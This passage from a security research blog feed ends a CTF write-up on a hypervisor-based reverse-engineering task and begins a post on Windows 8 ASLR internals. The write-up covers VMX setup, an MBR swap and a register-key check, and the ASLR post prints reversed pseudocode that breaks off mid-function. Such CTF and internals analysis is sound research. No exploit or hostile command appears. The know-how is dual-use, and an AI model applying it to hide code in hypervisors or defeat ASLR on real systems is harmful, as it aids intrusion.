It should be mentioned that a set of bytes of Bochs BIOS was used for encryption of the hypervisor loader and body. It makes the program system-specific, because it runs correctly only on the Bochs emulator. We decided to use this method for several reasons. Firstly, debugging of Intel VT-x hardware virtualization is possible only on a real machine or using Bochs 2.4.5 or later (so we are already tied to this emulator). Secondly, we didn't want the participants to find encryption keys in the program and decrypt all the hypervisor parts using the static analysis without the debugger. Thirdly, this method prevents users from damaging systems on real machines.&lt;br /&gt;
&lt;br /&gt;
To help the participants, we had published information that they would need Bochs emulator with a working OS image to solve one of the tasks in advance.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;VMX Loader&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
Hardware virtualization is not a new term. It started to spread in 2006 – 2007 when the most well-known CPU developers (Intel and AMD) released processors, which could support related instruction sets. Details on the virtual machine monitor will be provided in the next section. This section will touch upon the methods how to prepare the system for the hardware hypervisor.&lt;br /&gt;
&lt;br /&gt;
As it was mentioned above, it is possible to debug an application, which uses Intel VT-x virtualization, only on real machine or using Bochs 2.4.5 or above, but it is not the only problem. The default emulator build does not support hardware virtualization. That is why we had to compile &lt;a href="http://www.ptsecurity.ru/download/vmxbk_bochs.zip" target="_blank"&gt;our own build of Bochs&lt;/a&gt; and provide a link to it in the first hint to the task.&lt;br /&gt;
&lt;br /&gt;
The main goal of the hypervisor loader is to move the hypervisor’s body above the first megabyte and transfer control to its entry point. However, it carries out some non-trivial operations, which will be covered below.&lt;br /&gt;
&lt;br /&gt;
There are several input parameters including a base address, which is used as a code segment base. It is set by a far jump.&lt;br /&gt;
&lt;br /&gt;
Then the CPUID instruction checks that code is executed on the Intel system (zero function) and that hardware virtualization is supported by the processor (first function). Let’s take a closer look. Firstly, we call CPUID with value 1 in the EAX register. After the execution, the fifth bit of the ECX register (VMX flag) should be checked. If it is set, then hardware virtualization is supported. To check if virtualization is blocked on the early boot stages (BIOS), we need to read 0x3A MSR register. If the first bit of the EAX register is set after RDMSR instruction execution and the second bit is clear then virtualization is blocked.&lt;br /&gt;
&lt;br /&gt;
Then the loader calls a function, which reads the system memory map. This is achieved by calling interrupt 0x15 in the cycle with the 0xE820 value in the EAX register. That’s how the buffer is filled with records of memory regions. Then the memory map is checked for a free area suitable for the monitor body. If such a memory is found, it is marked as reserved.&lt;br /&gt;
&lt;br /&gt;
To move monitor body above the first megabyte, we need to switch the processor from a real mode to a protected or long mode. We decided to switch directly to the long mode as the hypervisor body works in it. We need to satisfy several conditions: prepare paging structures (PML4, PDPT, a number of PDs for 2MB pages), set PAE bit in the CR4 register, load the PML4 address to the CR3 register, set up GDTR with the long-mode segment registers, set the LMA bit in the MSR EFER register and set the PG and PE bits in the CR0 register. After these operations, we should make a far jump to switch the processor to the long mode.&lt;br /&gt;
&lt;br /&gt;
We noticed at this moment that the IDA Pro 6.1 debugger has a bug, which prevents it from calculating a correct far address, and it shows users some garbage data (this bug is fixed in IDA 6.3). It seems that IDA does not use register values from the Bochs debugger and makes wrong calculations by itself. That is why we recommended the participants to use the built-in Bochs debugger.&lt;br /&gt;
&lt;br /&gt;
The last step is to copy the body to the destination address and transfer control to the entry point.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;VMX Hypervisor&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Specifically for this task we wrote a thin hypervisor, which:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Enters the VMX-root mode.&lt;/li&gt;
&lt;li&gt;Sets the VMCS structure to start the guest system in the real mode starting from the 0x7c00 address.&lt;/li&gt;
&lt;li&gt;Sets up guest exit handlers.&lt;/li&gt;
&lt;li&gt;Starts a guest by executing the VMLAUNCH instruction.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The main goal of a participant is to find a guest system exit handler and analyze its code.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Flag&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
Obtaining the virtual machine exit handler, a participant came to the final stretch, and only a small task was needed to be solved.&lt;br /&gt;
&lt;br /&gt;
It is obvious from handler's code that if &amp;nbsp;the CPUID instruction causes an exit and the EIP register contains a specific value then the handler creates an array (32 bytes) from the values of the registers EAX, ECX, EDX, EBX, ESI, EDI, ESP, EBP and then this array is checked for validity. The handler inserts vector (x_0,…,x_31 ) to the set of equations of the following type:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-klS7M09ePMI/UNvzXF7iTeI/AAAAAAAACQg/7GB_4HseJwQ/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-klS7M09ePMI/UNvzXF7iTeI/AAAAAAAACQg/7GB_4HseJwQ/s1600/10.png" /&gt;&lt;/a&gt;&lt;/div&gt;
If the equality is satisfied then the vector is valid and used as a key for buffer decryption. Therefore, a participant needs to solve a set of 32 equations with 32 variables. The only thing that complicates the analysis is that the validation algorithm uses a floating point unit (FPU) instruction set.&lt;br /&gt;
&lt;br /&gt;
There is one more (final) MBR in the encrypted buffer which contains a plaintext flag. This bootstrap substitutes the original MBR, and its goal is to display the flag on the screen.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-lEzy3PcEEzQ/UNv0VVIfv8I/AAAAAAAACRM/4Ith6UF6J_8/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="440" src="http://1.bp.blogspot.com/-lEzy3PcEEzQ/UNv0VVIfv8I/AAAAAAAACRM/4Ith6UF6J_8/s640/8.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Example of a displayed flag&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Test application&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
Specifically for testing, we have developed an application, which allocates memory to a given address, writes CPUID and a few other instructions with regard to a specific offset (address + offset = the needed EIP value), sets up registers and passes control to the given address. Therefore, when the CPUID instruction is carried out, the hypervisor takes control over, checks the register values, and reboots the system displaying the flag on the screen.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-EUb4JtnxQqA/UNv0KmFFqsI/AAAAAAAACRE/rsNSP-oilZI/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-EUb4JtnxQqA/UNv0KmFFqsI/AAAAAAAACRE/rsNSP-oilZI/s640/9.png" width="584" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Example of a test application&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Conclusion&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
Developing this application, we wanted to create something unusual, a program which would be interesting for the whole team, because to solve this task, the participants needed to have skills in Win32 reverse engineering, analysis of MBR executed in the real mode, encryption and obfuscation algorithms analysis. This task required both static and dynamic analyses. The participants needed to have basic knowledge of hardware virtualization and assembler x86-64; to use their mathematical skills to obtain the flag.&lt;br /&gt;
&lt;br /&gt;
We really hope that we managed to interest both the participants and the readers of this review!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;From the authors&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
We decided to write this task three weeks before the start of the qualifications and were absolutely sure that would finish very soon, but our expectations were not met. We had finished the task just a few hours before PHDays CTF Quals started and did not have any time to test it or fix the bugs. We were only sure that it was possible to obtain the flag, but the operating system ran not so well in the virtual environment. It displayed blue screens of death from time to time and didn't want to boot after resetting the system. While writing this article, we had some time to fix the bugs and release a more stable task. Unfortunately, this time was not enough either to regulate the operating system. Follow the links to download the last version of the task and watch the video demonstrating the task and test application operation.&lt;br /&gt;
&lt;br /&gt;
Thanks to everybody!&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="315" src="http://www.youtube.com/embed/ZxcxjPUv6qw" width="420"&gt;&lt;/iframe&gt;

&lt;a href="http://www.ptsecurity.ru/download/vmxbk.zip" target="_blank"&gt;Task Archive&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Max Grigoryev, Sergey Kovalev,&amp;nbsp;Positive Research&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/12/phdays-ctf-quals-binary-500-or-hiding.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-OT2M5SHX8G8/UNv93_AfIZI/AAAAAAAACSU/SlikvZFMIwg/s72-c/11.png" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-691283804059255416</guid><pubDate>Tue, 04 Dec 2012 09:15:00 +0000</pubDate><atom:updated>2012-12-04T02:00:16.812-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ASLR</category><category domain="http://www.blogger.com/atom/ns#">Windows 8</category><category domain="http://www.blogger.com/atom/ns#">Address Space Layout Randomization</category><title>Windows 8 ASLR Internals</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-uuwhVjo8NoE/UL29m57do4I/AAAAAAAACEY/6hXbUYlJtRU/s1600/aslr-1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://3.bp.blogspot.com/-uuwhVjo8NoE/UL29m57do4I/AAAAAAAACEY/6hXbUYlJtRU/s320/aslr-1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;i&gt;Authors: Artem Shishkin and Ilya Smith, Positive Research.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
ASLR stands for Address Space Layout Randomization. It is a security mechanism which involves randomization of the virtual memory addresses of various data structures, which may be attacked. It is difficult to predict where the target structure is located in the memory, and thus an attacker has small chances to succeed.&lt;br /&gt;
&lt;br /&gt;
ASLR implementation on Windows is closely related to the image relocation mechanism. In fact, relocation allows a PE file to be loaded not only at the fixed preferred image base. The PE file relocation section is a key structure for the relocating process. It describes how to modify certain code and data elements of the executable to ensure its proper functioning at another image base.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
The key part of ASLR is a random number generator subsystem and a couple of stub functions that modify the image base of a PE file, which is going to be loaded.&lt;br /&gt;
&lt;br /&gt;
Windows 8 ASRL relies on a random number generator, which is actually a Lagged Fibonacci Generator with parameters j=24 and k=55 and which is seeded at Windows startup in the winload.exe module. Winload.exe gathers entropy at boot time and has different sources: registry keys, TPM, Time, ACPI, and a new rdrand CPU instruction. Windows kernel random number generator and its initialization are described in detail in [1].&lt;br /&gt;
&lt;br /&gt;
We would like to give a small note about the new rdrand CPU instruction. The Ivy Bridge architecture of Intel processors has introduced the Intel Secure Key technology for generating high-quality pseudo-random numbers. It consists of a hardware digital random number generator (DRNG) and a new instruction rdrand, which is used to retrieve values from DRNG programmatically.&lt;br /&gt;
&lt;br /&gt;
As a hardware unit, DRNG is a separate module on a processor chip. It operates asynchronously with the main processor cores at the frequency of 3 GHz. DRNG uses thermal noise as an entropy source. It also has a built-in testing system performing a series of tests to ensure high quality output. If one of these tests fails, DRNG refuses to generate random numbers at all.&lt;br /&gt;
&lt;br /&gt;
The RDRAND instruction is used to retrieve random numbers from DRNG. The documentation states that theoretically DRNG can return nulls instead of random number sequence due to health test failure or if a generated random number queue is empty. However, we were unable to drain the DRNG in practice.&lt;br /&gt;
Intel Secure Key is a really powerful random number generator producing high quality random numbers at a very high speed. Unlike other entropy sources, it is practically impossible to guess the initial RNG state initialized with rdrand instruction.&lt;br /&gt;
&lt;br /&gt;
The internal RNG interface function is ExGenRandom(). It also has an exported wrapper function RtlRandomEx(). Windows 8 ASLR uses this function as opposed to the previous version that relied on the rdtsc instruction. The rdtsc instruction is used for retrieving a timestamp counter on a CPU, which changes linearly so that it cannot be considered a secure random number generator.&lt;br /&gt;
&lt;br /&gt;
The core function of the ASLR mechanism is MiSelectImageBase. It has the following pseudocode on Windows 8.&lt;br /&gt;
&lt;pre style="background-color: white;"&gt;#define MI_64K_ALIGN&lt;span style="color: #808030;"&gt;(&lt;/span&gt;x&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;x &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x0F&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #008c00;"&gt;4&lt;/span&gt;
#define MmHighsetUserAddress &lt;span style="color: green;"&gt;0x7FFFFFEFFFF&lt;/span&gt;

typedef PIMAGE_BASE ULONG_PTR&lt;span style="color: purple;"&gt;;&lt;/span&gt;

typedef &lt;span style="color: maroon; font-weight: bold;"&gt;enum&lt;/span&gt; _MI_MEMORY_HIGHLOW
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    MiMemoryHigh    &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt;
    MiMemoryLow     &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt;
    MiMemoryHighLow &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;2&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt; MI_MEMORY_HIGHLOW&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;*&lt;/span&gt;PMI_MEMORY_HIGHLOW&lt;span style="color: purple;"&gt;;&lt;/span&gt;


MI_MEMORY_HIGHLOW MiSelectBitMapForImage&lt;span style="color: #808030;"&gt;(&lt;/span&gt;PSEGMENT pSeg&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;SegmentFlags &amp;amp; FLAG_BINARY32&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;            &lt;span style="color: dimgrey;"&gt;// WOW binary&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageInformation&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageFlags &amp;amp; FLAG_BASE_BELOW_4GB&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;BasedAddress &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x100000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; MiMemoryHighLow&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; MiMemoryLow&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; MiMemoryHigh&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

PIMAGE_BASE MiSelectImageBase&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt;&lt;span style="color: #808030;"&gt;*&lt;/span&gt; a1&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;rcx&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PSEGMENT pSeg&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    MI_MEMORY_HIGHLOW ImageBitmapType&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    ULONG ImageBias&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    RTL_BITMAP &lt;span style="color: #808030;"&gt;*&lt;/span&gt;pImageBitMap&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    ULONG_PTR ImageTopAddress&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    ULONG RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    MI_SECTION_IMAGE_INFORMATION &lt;span style="color: #808030;"&gt;*&lt;/span&gt;pImageInformation&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    ULONG_PTR RelocDelta&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    PIMAGE_BASE Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; NULL&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: dimgrey;"&gt;// rsi = rcx&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// rcx = rdx&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// rdi = rdx&lt;/span&gt;

    pImageInformation &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageInformation&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    ImageBitmapType &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiSelectBitMapForImage&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;off_40h &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ImageBitmapType&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;ImageBitmapType &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiMemoryLow&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: dimgrey;"&gt;// 64-bit executable with image base below 4 GB&lt;/span&gt;
        ImageBias &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBias64Low&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        pImageBitMap &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBitMap64Low&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        ImageTopAddress &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0x78000000&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;ImageBitmapType &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiMemoryHighLow&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: dimgrey;"&gt;// 64-bit executable with image base above 4 GB&lt;/span&gt;
            ImageBias &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBias64High&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pImageBitMap &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBitMap64High&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            ImageTopAddress &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0x7FFFFFE0000&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: dimgrey;"&gt;// MiMemoryHigh 32-bit executable image&lt;/span&gt;
            ImageBias &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBias&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pImageBitMap &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiImageBitMap&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            ImageTopAddress &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0x78000000&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: dimgrey;"&gt;// pSeg-&amp;gt;ControlArea-&amp;gt;BitMap ^= (pSeg-&amp;gt;ControlArea-&amp;gt;BitMap ^ (ImageBitmapType &amp;lt;&amp;lt; 29)) &amp;amp; 0x60000000;&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// or bitfield form&lt;/span&gt;
    pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;.&lt;/span&gt;BitMap &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ImageBitmapType&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    RelocationSizein64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MI_64K_ALIGN&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;TotalNumberOfPtes&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageInformation&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageCharacteristics &amp;amp; IMAGE_FILE_DLL&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        ULONG StartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        ULONG GlobalRelocStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        StartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RtlFindClearBits&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pImageBitMap&lt;span style="color: #808030;"&gt;,&lt;/span&gt; RelocationSizein64k&lt;span style="color: #808030;"&gt;,&lt;/span&gt; ImageBias&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;StartBit &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            StartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiObtainRelocationBits&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pImageBitMap&lt;span style="color: #808030;"&gt;,&lt;/span&gt; RelocationSizein64k&lt;span style="color: #808030;"&gt;,&lt;/span&gt; StartBit&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;StartBit &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ImageTopAddress &lt;span style="color: #808030;"&gt;-&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; StartBit&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;BasedAddress &lt;span style="color: #808030;"&gt;-&lt;/span&gt; a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;SelectedBase&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
